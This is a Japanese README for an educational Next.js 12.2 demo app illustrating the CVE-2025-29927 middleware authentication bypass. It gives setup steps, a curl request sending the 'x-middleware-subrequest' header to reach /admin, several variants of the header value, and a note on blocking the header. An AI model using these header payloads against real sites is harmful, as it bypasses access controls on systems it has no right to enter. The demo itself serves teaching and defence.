
🔓 Next.js Auth Bypass Demo - CVE-2025-29927 ミドルウェア認証バイパス脆弱性を実演する教育用アプリケーション . ⚠️ 教育目的のみ。[AIを使用して作成]
Next.js 12.2 のシンプルな概念実証アプリケーションです。
npm install
npm run dev
アプリケーションは http://localhost:3000 で利用可能です。
npm run dev - 開発サーバーを起動npm run build - プロダクション用にビルドnpm run start - プロダクションサーバーを起動pages/index.js を編集して Hello World ページを変更します。このアプリケーションはシンプルさのためにインラインスタイルを使用していますが、必要に応じてCSSファイルやスタイリングライブラリを追加できます。
このアプリケーションは、Rachid.A (zhero) 氏と Yasser Allam (inzo_) 氏によって発見された CVE-2025-29927 の脆弱性を実演します。
x-middleware-subrequest ヘッダーを使用した完全なミドルウェアバイパスadminadminx-middleware-subrequest: middleware ヘッダーを追加curl -H "x-middleware-subrequest: middleware" http://localhost:3000/adminx-middleware-subrequest: middlewarex-middleware-subrequest: src/middlewarex-middleware-subrequest: middleware:middleware:middleware:middleware:middlewarex-middleware-subrequest ヘッダーをブロック⚠️ 警告: これは実際のCVEを教育目的でのみ実演するものです!
このアプリケーションはシンプルさのためにインラインスタイルを使用しています。本番アプリでは以下の使用を検討してください。
Happy coding! 🚀